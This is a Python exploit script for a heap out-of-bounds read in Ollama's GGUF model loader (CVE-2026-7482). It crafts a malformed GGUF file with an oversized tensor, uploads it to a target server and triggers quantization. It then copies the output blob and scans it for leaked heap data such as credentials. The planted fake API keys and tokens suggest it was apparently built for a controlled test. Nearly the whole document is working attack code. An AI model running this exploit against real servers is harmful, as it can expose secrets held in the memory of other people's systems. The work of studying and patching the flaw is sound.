1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
Exploit for CVE-2026-7482 - Ollama Heap OOB Read in GGUF Model Loader
Ollama < 0.17.1 doesn't validate that tensor declared sizes match actual file data.
During quantization, the server reads past the allocated heap buffer, leaking memory.
Attack flow:
1. Craft malicious GGUF with oversized tensor declarations
2. Import into Ollama (via pull from registry or local file)
3. Trigger quantization via /api/create with quantize parameter
4. Leaked heap data is embedded in quantized output
5. Copy the generated quantized blob locally and inspect it for leaked heap data
"""
import struct
import io
import requests
import sys
import json
import hashlib
import os
import subprocess
import math
# GGUF constants
GGUF_MAGIC = b"GGUF"
GGUF_VERSION = 3
# ggml_type enum
GGML_TYPE_F32 = 0
GGML_TYPE_F16 = 1
GGML_TYPE_Q8_0 = 8
GGML_TYPE_Q4_K = 12
GGML_FILE_TYPE_MOSTLY_F16 = 1
GGML_TYPE_NAMES = {
"F32": GGML_TYPE_F32,
"F16": GGML_TYPE_F16,
"Q8_0": GGML_TYPE_Q8_0,
"Q4_K": GGML_TYPE_Q4_K,
}
Q8_0_BLOCK_SIZE = 34
Q8_0_VALUES_PER_BLOCK = 32
CANARY_MARKERS = [
"CANARY-STROKE-CVE7482-20260507-ZM9K7Q-PURPLE-ANCHOR",
"FAKE_OPENAI_API_KEY=sk-proj-CVE7482TEST-alpha-000111222333444555",
"FAKE_AWS_ACCESS_KEY_ID=AKIA-CVE7482-LEAKTEST-01",
"FAKE_AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI-K7-CVE7482-fake-secret-key-02",
"FAKE_GITHUB_PAT=ghp_CVE7482LeakProbe777888999000abcDEF",
"BLUE-LANTERN-HEAP-CHECKPOINT",
"DATABASE_URL=postgresql://cve7482_user:fakepass_HEAP_TRACE_314159@db.internal.local:5432/canarydb",
"SESSION_BEARER_TOKEN=fake.jwt.CVE7482.eyJjYW5hcnkiOiJvcmFuZ2Utc3BpbmRsZSJ9",
"ORANGE-SPINDLE-TRACE",
]
CANARY_FRAGMENTS = [
"CVE7482",
"CANARY",
"sk-proj",
"AKIA",
"ghp_",
"postgresql",
"HEAP",
]
# gguf_metadata_value_type enum
GGUF_TYPE_UINT32 = 4
GGUF_TYPE_STRING = 8
GGUF_TYPE_ARRAY = 9
GGUF_TYPE_UINT64 = 10
# Alignment
GGUF_DEFAULT_ALIGNMENT = 32
def write_gguf_string(buf, s):
"""Write a GGUF string: uint64 length + bytes (no null terminator)"""
encoded = s.encode('utf-8')
buf.write(struct.pack('<Q', len(encoded)))
buf.write(encoded)
def write_gguf_kv_string(buf, key, value):
"""Write a KV pair with string key and string value"""
write_gguf_string(buf, key)
buf.write(struct.pack('<I', GGUF_TYPE_STRING))
write_gguf_string(buf, value)
def write_gguf_kv_uint32(buf, key, value):
"""Write a KV pair with string key and uint32 value"""
write_gguf_string(buf, key)
buf.write(struct.pack('<I', GGUF_TYPE_UINT32))
buf.write(struct.pack('<I', value))
def read_gguf_string(data, offset):
"""Read a GGUF string and return (value, next_offset)."""
length = struct.unpack_from("<Q", data, offset)[0]
offset += 8
value = data[offset:offset + length].decode("utf-8", errors="replace")
return value, offset + length
def skip_gguf_value(data, offset, value_type):
"""Skip a GGUF metadata value and return the next offset."""
scalar_sizes = {
0: 1, # UINT8
1: 1, # INT8
2: 2, # UINT16
3: 2, # INT16
4: 4, # UINT32
5: 4, # INT32
6: 4, # FLOAT32
7: 1, # BOOL
10: 8, # UINT64
11: 8, # INT64
12: 8, # FLOAT64
}
if value_type == GGUF_TYPE_STRING:
_, offset = read_gguf_string(data, offset)
return offset
if value_type == GGUF_TYPE_ARRAY:
item_type = struct.unpack_from("<I", data, offset)[0]
count = struct.unpack_from("<Q", data, offset + 4)[0]
offset += 12
for _ in range(count):
offset = skip_gguf_value(data, offset, item_type)
return offset
return offset + scalar_sizes[value_type]
def write_gguf_tensor_info(buf, name, shape, kind, offset):
"""Write tensor info: name, n_dimensions, dimensions[], type, offset"""
write_gguf_string(buf, name)
buf.write(struct.pack('<I', len(shape)))
for dim in shape:
buf.write(struct.pack('<Q', dim))
buf.write(struct.pack('<I', kind))
buf.write(struct.pack('<Q', offset))
def tensor_size(shape, kind):
"""Calculate tensor size in bytes based on shape and element type"""
elements = 1
for dim in shape:
elements *= dim
type_sizes = {
GGML_TYPE_F32: 4,
GGML_TYPE_F16: 2,
}
return elements * type_sizes.get(kind, 4)
def tensor_type_name(kind):
"""Return a human-readable tensor type name."""
for name, value in GGML_TYPE_NAMES.items():
if value == kind:
return name
return f"type-{kind}"
def align_offset(offset, alignment=GGUF_DEFAULT_ALIGNMENT):
"""Calculate padding needed for alignment"""
return (alignment - offset % alignment) % alignment
def sha256_file(path):
"""Calculate SHA256 digest for a local file."""
digest = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
digest.update(chunk)
return f"sha256:{digest.hexdigest()}"
def upload_blob(target_host, path):
"""Upload a local file as an Ollama blob and return its digest."""
digest = sha256_file(path)
blob_url = f"{target_host}/api/blobs/{digest}"
print(f"[*] Uploading GGUF blob {digest}")
head_response = requests.head(blob_url, timeout=30)
if head_response.status_code == 200:
print("[*] Blob already exists on target")
return digest
with open(path, "rb") as f:
response = requests.post(blob_url, data=f, timeout=300)
if response.status_code not in (200, 201):
raise RuntimeError(f"blob upload failed: {response.status_code} - {response.text}")
return digest
def craft_malicious_gguf(oversized_shape=(4096, 4), actual_data_size=64, kind=GGML_TYPE_F16):
"""
Craft a malicious GGUF file where a tensor declares a large shape
but the actual file data is much shorter.
Before the fix (Ollama < 0.17.1), Decode() doesn't validate that
tensor offset+size exceeds file size, allowing OOB heap read during
quantization.
"""
buf = io.BytesIO()
# Header
buf.write(GGUF_MAGIC) # Magic
buf.write(struct.pack('<I', GGUF_VERSION)) # Version
buf.write(struct.pack('<Q', 1)) # tensor_count = 1
buf.write(struct.pack('<Q', 3)) # metadata_kv_count = 3
# Metadata KV pairs
# Required: general.architecture
write_gguf_kv_string(buf, "general.architecture", "llama")
# Required for Ollama 0.17.0 to recognize the file as a quantizable F16 model
write_gguf_kv_uint32(buf, "general.file_type", GGML_FILE_TYPE_MOSTLY_F16)
# Set alignment to 32
write_gguf_kv_uint32(buf, "general.alignment", GGUF_DEFAULT_ALIGNMENT)
# Tensor info for one tensor
write_gguf_tensor_info(buf, "blk.0.attn.weight", oversized_shape, kind, 0)
# Pad to alignment
current_offset = buf.tell()
padding = align_offset(current_offset, GGUF_DEFAULT_ALIGNMENT)
buf.write(b'\x00' * padding)
# Write truncated tensor data (much less than declared)
# This is the key: the tensor info says it's declared_size bytes,
# but we only write actual_data_size bytes
buf.write(b'\x00' * actual_data_size)
# The file is now truncated relative to what the tensor declares
# On vulnerable Ollama, Decode() won't check this
# During quantization, ReadFull or mmap will read past the buffer
return buf.getvalue()
def exploit_create_quantize(target_host, model_name, gguf_path, quantize="Q4_K_M"):
"""
Step 1: Import malicious GGUF and trigger quantization
This causes the OOB heap read
"""
url = f"{target_host}/api/create"
digest = upload_blob(target_host, gguf_path)
payload = {
"model": model_name,
"files": {
os.path.basename(gguf_path): digest,
},
"quantize": quantize,
"stream": False,
}
print(f"[*] Sending create request with quantization to {url}")
print(f"[*] Model: {model_name}, GGUF: {gguf_path}, Quantize: {quantize}")
response = requests.post(url, json=payload, timeout=300)
if response.status_code == 200:
print("[+] Model created successfully")
for line in response.text.strip().split('\n'):
if line:
try:
data = json.loads(line)
if data.get('status'):
print(f" Status: {data['status']}")
except json.JSONDecodeError:
pass
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
def show_model(target_host, model_name):
"""Return Ollama metadata for a created model."""
response = requests.post(
f"{target_host}/api/show",
json={"model": model_name},
timeout=30,
)
response.raise_for_status()
return response.json()
def model_blob_path(model_info):
"""Extract the local blob path from Ollama's generated Modelfile."""
for line in model_info.get("modelfile", "").splitlines():
if line.startswith("FROM /"):
return line.removeprefix("FROM ").strip()
return None
def copy_blob_from_container(container_name, blob_path, output_path):
"""Copy a model blob from a local Docker container."""
subprocess.run(
["docker", "cp", f"{container_name}:{blob_path}", output_path],
check=True,
)
def delete_model(target_host, model_name):
"""Delete an Ollama model if it exists."""
requests.delete(f"{target_host}/api/delete", json={"model": model_name}, timeout=30)
def create_quantized_blob(target_host, container_name, model_name, gguf_path, output_path, quantize):
"""Create a quantized model and copy its generated GGUF blob locally."""
if not exploit_create_quantize(target_host, model_name, gguf_path, quantize=quantize):
raise RuntimeError(f"failed to create quantized model {model_name}")
model_info = show_model(target_host, model_name)
blob_path = model_blob_path(model_info)
if not blob_path:
raise RuntimeError(f"could not find generated blob path for {model_name}")
print(f"[*] Quantized blob path for {model_name}: {blob_path}")
print(f"[*] Copying from container {container_name} to {output_path}")
copy_blob_from_container(container_name, blob_path, output_path)
return blob_path
def extract_leaked_data(gguf_data):
"""
Step 3: Extract leaked heap data from the quantized model
The leaked data will be in tensor data that contains heap contents
instead of expected quantized weights
"""
# Parse the GGUF to find tensor data
# Look for patterns that suggest leaked memory:
# - ASCII strings (env vars, API keys)
# - Structured data (JSON, tokens)
# - Repeated null bytes followed by non-null data
leaked = []
# Simple heuristic: extract printable ASCII sequences >= 8 chars
current_str = ""
for i in range(len(gguf_data)):
byte = gguf_data[i]
if 32 <= byte <= 126: # printable ASCII
current_str += chr(byte)
else:
if len(current_str) >= 8:
leaked.append(current_str)
current_str = ""
if len(current_str) >= 8:
leaked.append(current_str)
return leaked
def byte_entropy(data):
"""Calculate Shannon entropy for a byte string."""
if not data:
return 0.0
counts = [0] * 256
for byte in data:
counts[byte] += 1
entropy = 0.0
for count in counts:
if count:
probability = count / len(data)
entropy -= probability * math.log2(probability)
return entropy
def diff_runs(left, right):
"""Return byte ranges that differ between two equal-length byte strings."""
if len(left) != len(right):
raise ValueError("cannot diff byte strings with different lengths")
runs = []
start = None
for index, (left_byte, right_byte) in enumerate(zip(left, right)):
if left_byte != right_byte and start is None:
start = index
elif left_byte == right_byte and start is not None:
runs.append((start, index))
start = None
if start is not None:
runs.append((start, len(left)))
return runs
def hexdump(data, base_offset=0, width=16):
"""Return a compact hex/ascii dump."""
lines = []
for row_start in range(0, len(data), width):
chunk = data[row_start:row_start + width]
hex_part = " ".join(f"{byte:02x}" for byte in chunk)
ascii_part = "".join(chr(byte) if 32 <= byte <= 126 else "." for byte in chunk)
lines.append(f"{base_offset + row_start:08x} {hex_part:<{width * 3}} {ascii_part}")
return "\n".join(lines)
def float_to_f16_bytes(value):
"""Convert a Python float to IEEE 754 binary16 bytes with inf fallback."""
try:
return struct.pack("<e", value)
except OverflowError:
return struct.pack("<H", 0xFC00 if value < 0 else 0x7C00)
def float_to_f32_bytes(value):
"""Convert a Python float to IEEE 754 binary32 bytes with inf fallback."""
try:
return struct.pack("<f", value)
except OverflowError:
return struct.pack("<f", math.copysign(math.inf, value))
def f16_bytes_to_float(raw):
"""Convert two IEEE 754 binary16 bytes to a Python float."""
return struct.unpack("<e", raw)[0]
def dequantize_q8_0_payload(payload):
"""Dequantize GGML Q8_0 payload into float values."""
if len(payload) % Q8_0_BLOCK_SIZE != 0:
raise ValueError(
f"Q8_0 payload length {len(payload)} is not divisible by {Q8_0_BLOCK_SIZE}"
)
values = []
for offset in range(0, len(payload), Q8_0_BLOCK_SIZE):
block = payload[offset:offset + Q8_0_BLOCK_SIZE]
scale = f16_bytes_to_float(block[:2])
quants = struct.unpack("<32b", block[2:])
values.extend(scale * quant for quant in quants)
return values
def floats_to_f32_bytes(values):
"""Pack float values as little-endian float32 bytes."""
return b"".join(float_to_f32_bytes(value) for value in values)
def floats_to_pseudo_f16_bytes(values):
"""Pack dequantized float values back to little-endian F16 bytes."""
return b"".join(float_to_f16_bytes(value) for value in values)
def search_bytes(buffer, needle, case_sensitive=True):
"""Return all offsets of needle inside buffer."""
if not case_sensitive:
buffer = buffer.lower()
needle = needle.lower()
offsets = []
start = 0
while True:
index = buffer.find(needle, start)
if index == -1:
return offsets
offsets.append(index)
start = index + 1
def search_markers(buffers, markers=CANARY_MARKERS, fragments=CANARY_FRAGMENTS):
"""Search exact markers and common fragments across named byte buffers."""
exact_hits = []
fragment_hits = []
for buffer_name, data in buffers.items():
for marker in markers:
offsets = search_bytes(data, marker.encode("utf-8"))
if offsets:
exact_hits.append((buffer_name, marker, offsets))
for fragment in fragments:
offsets = search_bytes(data, fragment.encode("utf-8"), case_sensitive=False)
if offsets:
fragment_hits.append((buffer_name, fragment, offsets))
return exact_hits, fragment_hits
def write_printable_strings(path, data):
"""Write printable strings extracted from data to a text artifact."""
strings = extract_leaked_data(data)
with open(path, "w", encoding="utf-8") as f:
for value in strings:
f.write(value + "\n")
return strings
|
